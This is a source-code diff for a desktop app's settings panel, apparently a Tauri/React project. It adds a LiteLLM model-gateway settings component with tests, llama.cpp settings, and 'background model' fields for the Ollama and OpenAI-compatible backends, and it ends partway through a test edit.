const saveSettings = vi.fn();
|
||||
|
||||
vi.mock("../../lib/tauri-commands", () => ({
|
||||
getGatewayStatus: () => getGatewayStatus(),
|
||||
startGateway: () => startGateway(),
|
||||
stopGateway: () => stopGateway(),
|
||||
checkGatewayHealth: () => checkGatewayHealth(),
|
||||
pullGatewayImage: vi.fn(),
|
||||
buildGatewayImage: vi.fn(),
|
||||
setGatewayApiKey: vi.fn(),
|
||||
clearGatewayApiKey: vi.fn(),
|
||||
getGatewayAuthToken: vi.fn(),
|
||||
regenerateGatewayAuthToken: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@tauri-apps/api/event", () => ({ listen: vi.fn(async () => vi.fn()) }));
|
||||
|
||||
let appSettings: AppSettings | null = null;
|
||||
vi.mock("../../hooks/useSettings", () => ({
|
||||
useSettings: () => ({ appSettings, saveSettings }),
|
||||
}));
|
||||
|
||||
const settingsWithGateway = (enabled: boolean): AppSettings =>
|
||||
({
|
||||
gateway: { enabled, port: 4000, provider: "openai", api_base: null, models: [] },
|
||||
}) as unknown as AppSettings;
|
||||
|
||||
const status = (over: Partial<GatewayStatus> = {}): GatewayStatus => ({
|
||||
container_exists: true,
|
||||
running: true,
|
||||
port: 4000,
|
||||
image_exists: true,
|
||||
model_count: 0,
|
||||
has_api_key: false,
|
||||
base_url: "http://host.docker.internal:4000",
|
||||
...over,
|
||||
});
|
||||
|
||||
describe("GatewaySettings", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
appSettings = settingsWithGateway(false);
|
||||
getGatewayStatus.mockResolvedValue(status());
|
||||
checkGatewayHealth.mockResolvedValue(true);
|
||||
saveSettings.mockImplementation(async (s: AppSettings) => s);
|
||||
stopGateway.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it("keeps a working Stop button when the gateway is disabled but its container exists", async () => {
|
||||
render(<GatewaySettings />);
|
||||
|
||||
const stop = await screen.findByRole("button", { name: "Stop" });
|
||||
// The configuration UI stays hidden — only the container row survives.
|
||||
expect(screen.queryByLabelText("Provider")).not.toBeInTheDocument();
|
||||
expect(screen.getByTestId("gateway-leftover-container")).toHaveTextContent(
|
||||
/gateway container is still present/i,
|
||||
);
|
||||
// Status is a word, not just a colour.
|
||||
expect(screen.getByTestId("gateway-leftover-container")).toHaveTextContent(
|
||||
/Running on port 4000/,
|
||||
);
|
||||
|
||||
fireEvent.click(stop);
|
||||
await waitFor(() => expect(stopGateway).toHaveBeenCalledTimes(1));
|
||||
// Stopping re-reads status: once on mount, once after the action.
|
||||
await waitFor(() => expect(getGatewayStatus).toHaveBeenCalledTimes(2));
|
||||
});
|
||||
|
||||
it("shows nothing extra when the gateway is disabled and no container exists", async () => {
|
||||
getGatewayStatus.mockResolvedValue(status({ container_exists: false, running: false }));
|
||||
render(<GatewaySettings />);
|
||||
|
||||
await waitFor(() => expect(getGatewayStatus).toHaveBeenCalled());
|
||||
expect(screen.queryByTestId("gateway-leftover-container")).not.toBeInTheDocument();
|
||||
expect(screen.queryByRole("button", { name: "Stop" })).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("re-reads container status after toggling the gateway off", async () => {
|
||||
appSettings = settingsWithGateway(true);
|
||||
render(<GatewaySettings />);
|
||||
|
||||
await waitFor(() => expect(getGatewayStatus).toHaveBeenCalledTimes(1));
|
||||
|
||||
// The backend stops the container as part of update_settings, so the UI has
|
||||
// to re-read rather than trust the status it already has.
|
||||
getGatewayStatus.mockResolvedValue(status({ running: false }));
|
||||
fireEvent.click(screen.getByRole("switch", { name: "Model gateway" }));
|
||||
|
||||
await waitFor(() =>
|
||||
expect(saveSettings).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ gateway: expect.objectContaining({ enabled: false }) }),
|
||||
),
|
||||
);
|
||||
await waitFor(() => expect(getGatewayStatus).toHaveBeenCalledTimes(2));
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,514 @@
|
||||
import { useState, useEffect, useCallback } from "react";
|
||||
import { listen } from "@tauri-apps/api/event";
|
||||
import { useSettings } from "../../hooks/useSettings";
|
||||
import {
|
||||
getGatewayStatus,
|
||||
startGateway,
|
||||
stopGateway,
|
||||
checkGatewayHealth,
|
||||
pullGatewayImage,
|
||||
buildGatewayImage,
|
||||
setGatewayApiKey,
|
||||
clearGatewayApiKey,
|
||||
getGatewayAuthToken,
|
||||
regenerateGatewayAuthToken,
|
||||
} from "../../lib/tauri-commands";
|
||||
import type { GatewayModel, GatewaySettings as GatewaySettingsType, GatewayStatus } from "../../lib/types";
|
||||
import Button from "../ui/Button";
|
||||
import Field, { SwitchRow, inputClass, monoInputClass } from "../ui/Field";
|
||||
import Modal from "../ui/Modal";
|
||||
import StatusIndicator, { type StatusTone } from "../ui/StatusIndicator";
|
||||
import Toggle from "../ui/Toggle";
|
||||
|
||||
const DEFAULT_GATEWAY: GatewaySettingsType = {
|
||||
enabled: false,
|
||||
port: 4000,
|
||||
provider: "openai",
|
||||
api_base: null,
|
||||
models: [],
|
||||
};
|
||||
|
||||
/**
|
||||
* Settings for the model gateway — the LiteLLM container Triple-C runs so that
|
||||
* Claude Code, which only speaks the Anthropic Messages API, can be driven by
|
||||
* an OpenAI key.
|
||||
*
|
||||
* The provider API key is write-only from here: it goes to the OS keychain and
|
||||
* there is no command that reads it back, so the UI can only ever report
|
||||
* whether one is stored.
|
||||
*/
|
||||
export default function GatewaySettings() {
|
||||
const { appSettings, saveSettings } = useSettings();
|
||||
const gateway = appSettings?.gateway ?? DEFAULT_GATEWAY;
|
||||
|
||||
const [status, setStatus] = useState<GatewayStatus | null>(null);
|
||||
const [healthy, setHealthy] = useState<boolean | null>(null);
|
||||
const [loading, setLoading] = useState(false);
|
||||
const [pulling, setPulling] = useState(false);
|
||||
const [building, setBuilding] = useState(false);
|
||||
const [log, setLog] = useState<string | null>(null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
const [provider, setProvider] = useState(gateway.provider);
|
||||
const [port, setPort] = useState(String(gateway.port));
|
||||
const [apiBase, setApiBase] = useState(gateway.api_base ?? "");
|
||||
const [apiKeyDraft, setApiKeyDraft] = useState("");
|
||||
const [savingKey, setSavingKey] = useState(false);
|
||||
|
||||
const [authToken, setAuthToken] = useState<string | null>(null);
|
||||
const [copied, setCopied] = useState<string | null>(null);
|
||||
const [confirmRotate, setConfirmRotate] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
setProvider(gateway.provider);
|
||||
setPort(String(gateway.port));
|
||||
setApiBase(gateway.api_base ?? "");
|
||||
}, [gateway.provider, gateway.port, gateway.api_base]);
|
||||
|
||||
const refreshStatus = useCallback(async () => {
|
||||
try {
|
||||
const next = await getGatewayStatus();
|
||||
setStatus(next);
|
||||
setHealthy(next.running ? await checkGatewayHealth() : null);
|
||||
} catch (e) {
|
||||
console.error("Gateway status failed:", e);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
refreshStatus();
|
||||
}, [refreshStatus]);
|
||||
|
||||
/**
|
||||
* Persist a gateway settings change, then re-read the container status.
|
||||
*
|
||||
* `update_settings` reconciles the container itself — it stops the gateway
|
||||
* when `enabled` goes false and recreates it on a port change — so the status
|
||||
* we are holding is stale the moment the save returns.
|
||||
*/
|
||||
const patch = async (changes: Partial<GatewaySettingsType>) => {
|
||||
if (!appSettings) return;
|
||||
await saveSettings({ ...appSettings, gateway: { ...gateway, ...changes } });
|
||||
await refreshStatus();
|
||||
};
|
||||
|
||||
const savePort = async () => {
|
||||
const parsed = parseInt(port, 10);
|
||||
if (isNaN(parsed) || parsed < 1 || parsed > 65535) {
|
||||
setPort(String(gateway.port));
|
||||
return;
|
||||
}
|
||||
await patch({ port: parsed });
|
||||
};
|
||||
|
||||
const setModels = (models: GatewayModel[]) => patch({ models });
|
||||
|
||||
const updateModel = (index: number, changes: Partial<GatewayModel>) =>
|
||||
setModels(gateway.models.map((m, i) => (i === index ? { ...m, ...changes } : m)));
|
||||
|
||||
const run = async (fn: () => Promise<unknown>) => {
|
||||
setLoading(true);
|
||||
setError(null);
|
||||
try {
|
||||
await fn();
|
||||
await refreshStatus();
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
const withProgress = async (
|
||||
event: string,
|
||||
setBusy: (busy: boolean) => void,
|
||||
fn: () => Promise<void>,
|
||||
) => {
|
||||
setBusy(true);
|
||||
setLog(null);
|
||||
setError(null);
|
||||
const unlisten = await listen<string>(event, (e) => setLog(e.payload));
|
||||
try {
|
||||
await fn();
|
||||
await refreshStatus();
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
} finally {
|
||||
setBusy(false);
|
||||
unlisten();
|
||||
}
|
||||
};
|
||||
|
||||
const handleSaveKey = async () => {
|
||||
if (!apiKeyDraft.trim()) return;
|
||||
setSavingKey(true);
|
||||
setError(null);
|
||||
try {
|
||||
await setGatewayApiKey(apiKeyDraft);
|
||||
setApiKeyDraft("");
|
||||
await refreshStatus();
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
} finally {
|
||||
setSavingKey(false);
|
||||
}
|
||||
};
|
||||
|
||||
const revealToken = async () => {
|
||||
try {
|
||||
setAuthToken(await getGatewayAuthToken());
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
}
|
||||
};
|
||||
|
||||
const rotateToken = async () => {
|
||||
setConfirmRotate(false);
|
||||
try {
|
||||
setAuthToken(await regenerateGatewayAuthToken());
|
||||
await refreshStatus();
|
||||
} catch (e) {
|
||||
setError(String(e));
|
||||
}
|
||||
};
|
||||
|
||||
const copy = async (label: string, value: string) => {
|
||||
await navigator.clipboard.writeText(value);
|
||||
setCopied(label);
|
||||
setTimeout(() => setCopied(null), 2000);
|
||||
};
|
||||
|
||||
const tone: StatusTone = !status?.image_exists
|
||||
? "off"
|
||||
: status.running
|
||||
? healthy === false
|
||||
? "busy"
|
||||
: "running"
|
||||
: status.container_exists
|
||||
? "stopped"
|
||||
: "off";
|
||||
|
||||
const statusLabel = !status?.image_exists
|
||||
? "No image"
|
||||
: status.running
|
||||
? healthy === false
|
||||
? "Starting…"
|
||||
: `Running on port ${status.port}`
|
||||
: status.container_exists
|
||||
? "Stopped"
|
||||
: "Image ready";
|
||||
|
||||
// Rendered in whichever branch is live — only one of them ever mounts.
|
||||
const errorLine = error ? (
|
||||
<p className="text-xs text-[var(--error)]" role="alert">
|
||||
{error}
|
||||
</p>
|
||||
) : null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-1">Model Gateway</label>
|
||||
<p className="text-xs text-[var(--text-secondary)] mb-3">
|
||||
Runs a pinned LiteLLM proxy in a container. Claude Code only speaks the Anthropic
|
||||
Messages API, so an OpenAI key cannot drive it directly — the gateway serves{" "}
|
||||
<code className="font-mono">/v1/messages</code> and translates each call to your
|
||||
provider. Point a project's <strong>OpenAI Compatible</strong> backend at it.
|
||||
</p>
|
||||
|
||||
<div className="space-y-4">
|
||||
<SwitchRow
|
||||
label="Model gateway"
|
||||
hint="Start the gateway container with Triple-C."
|
||||
control={
|
||||
<Toggle
|
||||
label="Model gateway"
|
||||
checked={gateway.enabled}
|
||||
onChange={(value) => patch({ enabled: value })}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
|
||||
{/*
|
||||
Turning the gateway off hides its configuration, but a container that
|
||||
already exists must stay reachable — otherwise a leftover container
|
||||
keeps its port bound with no UI left to stop it.
|
||||
*/}
|
||||
{!gateway.enabled && status?.container_exists && (
|
||||
<div className="space-y-2" data-testid="gateway-leftover-container">
|
||||
<div className="flex items-center gap-3 flex-wrap">
|
||||
<StatusIndicator tone={tone} label={statusLabel} className="text-xs" />
|
||||
<Button variant="danger" disabled={loading} onClick={() => run(stopGateway)}>
|
||||
{loading ? "Working…" : "Stop"}
|
||||
</Button>
|
||||
</div>
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
The gateway container is still present. Stop it here if it is still running; it
|
||||
will not be started again while the gateway is off.
|
||||
</p>
|
||||
{errorLine}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{gateway.enabled && (
|
||||
<>
|
||||
{/* ── Container ─────────────────────────────────────────────── */}
|
||||
<div className="flex items-center gap-3 flex-wrap">
|
||||
<StatusIndicator tone={tone} label={statusLabel} className="text-xs" />
|
||||
{status?.image_exists && (
|
||||
<Button
|
||||
variant={status.running ? "danger" : "primary"}
|
||||
disabled={loading}
|
||||
onClick={() => run(status.running ? stopGateway : startGateway)}
|
||||
>
|
||||
{loading ? "Working…" : status.running ? "Stop" : "Start"}
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
disabled={pulling || building}
|
||||
onClick={() => withProgress("gateway-pull-progress", setPulling, pullGatewayImage)}
|
||||
>
|
||||
{pulling ? "Pulling…" : "Pull Image"}
|
||||
</Button>
|
||||
<Button
|
||||
disabled={pulling || building}
|
||||
onClick={() => withProgress("gateway-build-progress", setBuilding, buildGatewayImage)}
|
||||
>
|
||||
{building ? "Building…" : "Build Locally"}
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
{log && (
|
||||
<pre className="text-[10px] text-[var(--text-secondary)] bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] px-2 py-1 max-h-20 overflow-y-auto whitespace-pre-wrap">
|
||||
{log}
|
||||
</pre>
|
||||
)}
|
||||
|
||||
{errorLine}
|
||||
|
||||
{/* ── Provider ──────────────────────────────────────────────── */}
|
||||
<Field
|
||||
label="Provider"
|
||||
hint="LiteLLM provider prefix. OpenAI is the common case; anything LiteLLM supports works (azure, gemini, groq, …)."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
type="text"
|
||||
value={provider}
|
||||
onChange={(e) => setProvider(e.target.value)}
|
||||
onBlur={() => patch({ provider: provider.trim() || "openai" })}
|
||||
placeholder="openai"
|
||||
className={inputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
<Field
|
||||
label="Provider API key"
|
||||
hint={
|
||||
status?.has_api_key
|
||||
? "A key is stored in your OS keychain. Enter a new one to replace it — it is never shown again."
|
||||
: "Stored in your OS keychain, written only into the gateway container's config. Never shown again once saved."
|
||||
}
|
||||
>
|
||||
{(id) => (
|
||||
<div className="flex items-center gap-2">
|
||||
<input
|
||||
id={id}
|
||||
type="password"
|
||||
autoComplete="off"
|
||||
value={apiKeyDraft}
|
||||
onChange={(e) => setApiKeyDraft(e.target.value)}
|
||||
placeholder={status?.has_api_key ? "•••••••• (stored)" : "sk-…"}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
<Button
|
||||
variant="primary"
|
||||
disabled={savingKey || !apiKeyDraft.trim()}
|
||||
onClick={handleSaveKey}
|
||||
>
|
||||
{savingKey ? "Saving…" : "Save"}
|
||||
</Button>
|
||||
{status?.has_api_key && (
|
||||
<Button variant="danger" onClick={() => run(clearGatewayApiKey)}>
|
||||
Clear
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
<Field
|
||||
label="Provider base URL (optional)"
|
||||
hint="Override the provider's endpoint — Azure deployments, self-hosted OpenAI-compatible servers, and so on. Leave blank for the provider default."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
type="text"
|
||||
value={apiBase}
|
||||
onChange={(e) => setApiBase(e.target.value)}
|
||||
onBlur={() => patch({ api_base: apiBase.trim() || null })}
|
||||
placeholder="https://api.openai.com/v1"
|
||||
className={inputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
<Field
|
||||
label="Host port"
|
||||
hint="Port the gateway is published on. Changing it recreates the container."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
type="number"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={port}
|
||||
onChange={(e) => setPort(e.target.value)}
|
||||
onBlur={savePort}
|
||||
className={inputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
{/* ── Models ────────────────────────────────────────────────── */}
|
||||
<div>
|
||||
<div className="text-[13px] font-medium text-[var(--text-primary)]">Models</div>
|
||||
<p className="mt-0.5 mb-2 text-xs text-[var(--text-secondary)] leading-snug">
|
||||
Each row becomes one model the gateway serves. <strong>Name</strong> is what a
|
||||
project puts in its model field; <strong>Model id</strong> is the provider's own
|
||||
id. The gateway sends them as{" "}
|
||||
<code className="font-mono">{provider || "openai"}/<model id></code>.
|
||||
</p>
|
||||
|
||||
<div className="space-y-2">
|
||||
{gateway.models.map((model, index) => (
|
||||
<div key={index} className="flex items-center gap-2">
|
||||
<input
|
||||
type="text"
|
||||
aria-label={`Model ${index + 1} name`}
|
||||
value={model.name}
|
||||
onChange={(e) => updateModel(index, { name: e.target.value })}
|
||||
placeholder="gpt-5.1"
|
||||
className={monoInputClass}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
aria-label={`Model ${index + 1} provider id`}
|
||||
value={model.model_id}
|
||||
onChange={(e) => updateModel(index, { model_id: e.target.value })}
|
||||
placeholder="gpt-5.1"
|
||||
className={monoInputClass}
|
||||
/>
|
||||
<Button
|
||||
variant="ghost"
|
||||
aria-label={`Remove model ${index + 1}`}
|
||||
onClick={() => setModels(gateway.models.filter((_, i) => i !== index))}
|
||||
>
|
||||
Remove
|
||||
</Button>
|
||||
</div>
|
||||
))}
|
||||
<Button
|
||||
onClick={() => setModels([...gateway.models, { name: "", model_id: "" }])}
|
||||
>
|
||||
Add model
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── What a project should use ─────────────────────────────── */}
|
||||
<div className="border border-[var(--border-color)] rounded-[var(--radius-panel)] bg-[var(--bg-secondary)] px-3 py-3 space-y-3">
|
||||
<div>
|
||||
<div className="text-[13px] font-medium text-[var(--text-primary)]">
|
||||
Project settings for this gateway
|
||||
</div>
|
||||
<p className="mt-0.5 text-xs text-[var(--text-secondary)] leading-snug">
|
||||
Set a project's backend to <strong>OpenAI Compatible</strong> and use these
|
||||
values. The base URL below is the one your Docker engine actually needs —{" "}
|
||||
<code className="font-mono">host.docker.internal</code> on Docker Desktop, the
|
||||
bridge gateway address on native Linux, where that name is not injected into
|
||||
containers.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<Field label="Base URL">
|
||||
{(id) => (
|
||||
<div className="flex items-center gap-2">
|
||||
<input
|
||||
id={id}
|
||||
readOnly
|
||||
value={status?.base_url ?? `http://host.docker.internal:${gateway.port}`}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
<Button
|
||||
onClick={() =>
|
||||
copy(
|
||||
"url",
|
||||
status?.base_url ?? `http://host.docker.internal:${gateway.port}`,
|
||||
)
|
||||
}
|
||||
>
|
||||
{copied === "url" ? "Copied" : "Copy"}
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
</Field>
|
||||
|
||||
<Field
|
||||
label="Auth token"
|
||||
hint="The gateway requires this on every request, which is what stops the published port being an open proxy onto your provider account."
|
||||
>
|
||||
{(id) => (
|
||||
<div className="flex items-center gap-2">
|
||||
<input
|
||||
id={id}
|
||||
readOnly
|
||||
type={authToken ? "text" : "password"}
|
||||
value={authToken ?? "••••••••••••"}
|
||||
className={monoInputClass}
|
||||
/>
|
||||
{authToken ? (
|
||||
<Button onClick={() => copy("token", authToken)}>
|
||||
{copied === "token" ? "Copied" : "Copy"}
|
||||
</Button>
|
||||
) : (
|
||||
<Button onClick={revealToken}>Reveal</Button>
|
||||
)}
|
||||
<Button variant="danger" onClick={() => setConfirmRotate(true)}>
|
||||
Regenerate
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
</Field>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{confirmRotate && (
|
||||
<Modal
|
||||
title="Regenerate gateway auth token?"
|
||||
onClose={() => setConfirmRotate(false)}
|
||||
footer={
|
||||
<div className="flex justify-end gap-2">
|
||||
<Button size="md" onClick={() => setConfirmRotate(false)}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button size="md" variant="danger" onClick={rotateToken}>
|
||||
Regenerate
|
||||
</Button>
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<p className="text-[13px] text-[var(--text-secondary)]">
|
||||
Every project still using the current token will stop reaching the gateway until you
|
||||
paste the new one into its model config. The gateway is recreated on its next start.
|
||||
</p>
|
||||
</Modal>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
import { useSettings } from "../../hooks/useSettings";
|
||||
import Tooltip from "../ui/Tooltip";
|
||||
|
||||
type Field = "base_url" | "default_model_id" | "default_haiku_model_id";
|
||||
|
||||
export default function LlamaCppSettings() {
|
||||
const { appSettings, saveSettings } = useSettings();
|
||||
|
||||
const globalLlamaCpp = appSettings?.global_llamacpp ?? {
|
||||
base_url: null,
|
||||
default_model_id: null,
|
||||
default_haiku_model_id: null,
|
||||
};
|
||||
|
||||
const handleChange = async (field: Field, value: string) => {
|
||||
if (!appSettings) return;
|
||||
await saveSettings({
|
||||
...appSettings,
|
||||
global_llamacpp: { ...globalLlamaCpp, [field]: value || null },
|
||||
});
|
||||
};
|
||||
|
||||
return (
|
||||
<div>
|
||||
<label className="block text-sm font-medium mb-2">llama.cpp Configuration</label>
|
||||
<div className="space-y-3 text-sm">
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Global defaults for a local or remote <code>llama-server</code>, which serves
|
||||
the Anthropic Messages API directly. Used when a per-project field is blank.
|
||||
Changes here require a container rebuild to take effect.
|
||||
</p>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Base URL<Tooltip text="URL of your llama-server. Used when a per-project llama.cpp base URL is blank. llama-server listens on port 8080 by default." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalLlamaCpp.base_url ?? ""}
|
||||
onChange={(e) => handleChange("base_url", e.target.value)}
|
||||
placeholder="http://host.docker.internal:8080"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Model<Tooltip text="Default model identifier. Used when a per-project llama.cpp model is blank." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalLlamaCpp.default_model_id ?? ""}
|
||||
onChange={(e) => handleChange("default_model_id", e.target.value)}
|
||||
placeholder="qwen3.5-coder-30b"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if you serve a second, smaller model." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalLlamaCpp.default_haiku_model_id ?? ""}
|
||||
onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
|
||||
placeholder="(same as the model above)"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -7,9 +7,13 @@ export default function OllamaSettings() {
|
||||
const globalOllama = appSettings?.global_ollama ?? {
|
||||
base_url: null,
|
||||
default_model_id: null,
|
||||
default_haiku_model_id: null,
|
||||
};
|
||||
|
||||
const handleChange = async (field: "base_url" | "default_model_id", value: string) => {
|
||||
const handleChange = async (
|
||||
field: "base_url" | "default_model_id" | "default_haiku_model_id",
|
||||
value: string,
|
||||
) => {
|
||||
if (!appSettings) return;
|
||||
await saveSettings({
|
||||
...appSettings,
|
||||
@@ -47,6 +51,17 @@ export default function OllamaSettings() {
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if you have pulled a second, smaller model." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalOllama.default_haiku_model_id ?? ""}
|
||||
onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
|
||||
placeholder="(same as the model above)"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -7,9 +7,13 @@ export default function OpenAiCompatibleSettings() {
|
||||
const globalOai = appSettings?.global_openai_compatible ?? {
|
||||
base_url: null,
|
||||
default_model_id: null,
|
||||
default_haiku_model_id: null,
|
||||
};
|
||||
|
||||
const handleChange = async (field: "base_url" | "default_model_id", value: string) => {
|
||||
const handleChange = async (
|
||||
field: "base_url" | "default_model_id" | "default_haiku_model_id",
|
||||
value: string,
|
||||
) => {
|
||||
if (!appSettings) return;
|
||||
await saveSettings({
|
||||
...appSettings,
|
||||
@@ -22,8 +26,9 @@ export default function OpenAiCompatibleSettings() {
|
||||
<label className="block text-sm font-medium mb-2">OpenAI Compatible Configuration</label>
|
||||
<div className="space-y-3 text-sm">
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Global defaults for any OpenAI-compatible endpoint (LiteLLM, OpenRouter, vLLM, etc.).
|
||||
Used when a per-project field is blank. Changes require a container rebuild.
|
||||
Global defaults for a gateway that implements the Anthropic Messages API
|
||||
(<code>POST /v1/messages</code>) — LiteLLM, for example. Used when a per-project
|
||||
field is blank. Changes require a container rebuild.
|
||||
</p>
|
||||
|
||||
<div>
|
||||
@@ -47,6 +52,17 @@ export default function OpenAiCompatibleSettings() {
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<span className="text-[var(--text-secondary)] text-xs block mb-1">Default Background Model<span className="text-[var(--text-disabled)]"> (optional)</span><Tooltip text="What the `haiku` alias resolves to, which is also what Claude Code uses for background work such as titles and summaries. Leave blank to reuse the model above — only set this if your gateway also serves a smaller model." /></span>
|
||||
<input
|
||||
type="text"
|
||||
value={globalOai.default_haiku_model_id ?? ""}
|
||||
onChange={(e) => handleChange("default_haiku_model_id", e.target.value)}
|
||||
placeholder="(same as the model above)"
|
||||
className="w-full px-2 py-1.5 text-xs bg-[var(--bg-primary)] border border-[var(--border-color)] rounded focus:border-[var(--accent)]"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -2,7 +2,9 @@ import { useState, useEffect } from "react";
|
||||
import DockerSettings from "./DockerSettings";
|
||||
import AwsSettings from "./AwsSettings";
|
||||
import OllamaSettings from "./OllamaSettings";
|
||||
import LlamaCppSettings from "./LlamaCppSettings";
|
||||
import OpenAiCompatibleSettings from "./OpenAiCompatibleSettings";
|
||||
import GatewaySettings from "./GatewaySettings";
|
||||
import { useSettings } from "../../hooks/useSettings";
|
||||
import { useUpdates } from "../../hooks/useUpdates";
|
||||
import ClaudeInstructionsModal from "../projects/ClaudeInstructionsModal";
|
||||
@@ -159,7 +161,11 @@ export default function SettingsPanel() {
|
||||
<div className="pt-3 border-t border-[var(--border-color)]" />
|
||||
<OllamaSettings />
|
||||
<div className="pt-3 border-t border-[var(--border-color)]" />
|
||||
<LlamaCppSettings />
|
||||
<div className="pt-3 border-t border-[var(--border-color)]" />
|
||||
<OpenAiCompatibleSettings />
|
||||
<div className="pt-3 border-t border-[var(--border-color)]" />
|
||||
<GatewaySettings />
|
||||
</AccordionSection>
|
||||
|
||||
<AccordionSection id="container" title="Container" defaultOpen={false}>
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { render, screen, waitFor } from "@testing-library/react";
|
||||
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import SharedAuthSettings from "./SharedAuthSettings";
|
||||
import type { Project } from "../../lib/types";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import type { ClearTokenOutcome, Project } from "../../lib/types";
|
||||
|
||||
const hasClaudeToken = vi.fn();
|
||||
const clearClaudeToken = vi.fn();
|
||||
@@ -63,8 +64,29 @@ describe("SharedAuthSettings", () => {
|
||||
vi.clearAllMocks();
|
||||
projects = [];
|
||||
hasClaudeToken.mockResolvedValue(false);
|
||||
useAppState.setState({ toasts: [] });
|
||||
});
|
||||
|
||||
/** Open the confirmation and go through with it. */
|
||||
async function revoke(outcome: Partial<ClearTokenOutcome>) {
|
||||
projects = [running()];
|
||||
hasClaudeToken.mockResolvedValue(true);
|
||||
clearClaudeToken.mockResolvedValue({
|
||||
snapshots_scrubbed: [],
|
||||
snapshots_failed: [],
|
||||
snapshots_superseded: [],
|
||||
docker_unavailable: null,
|
||||
...outcome,
|
||||
});
|
||||
render(<SharedAuthSettings />);
|
||||
fireEvent.click(await screen.findByRole("button", { name: "Revoke" }));
|
||||
fireEvent.click(await screen.findByRole("button", { name: "Revoke token" }));
|
||||
await waitFor(() =>
|
||||
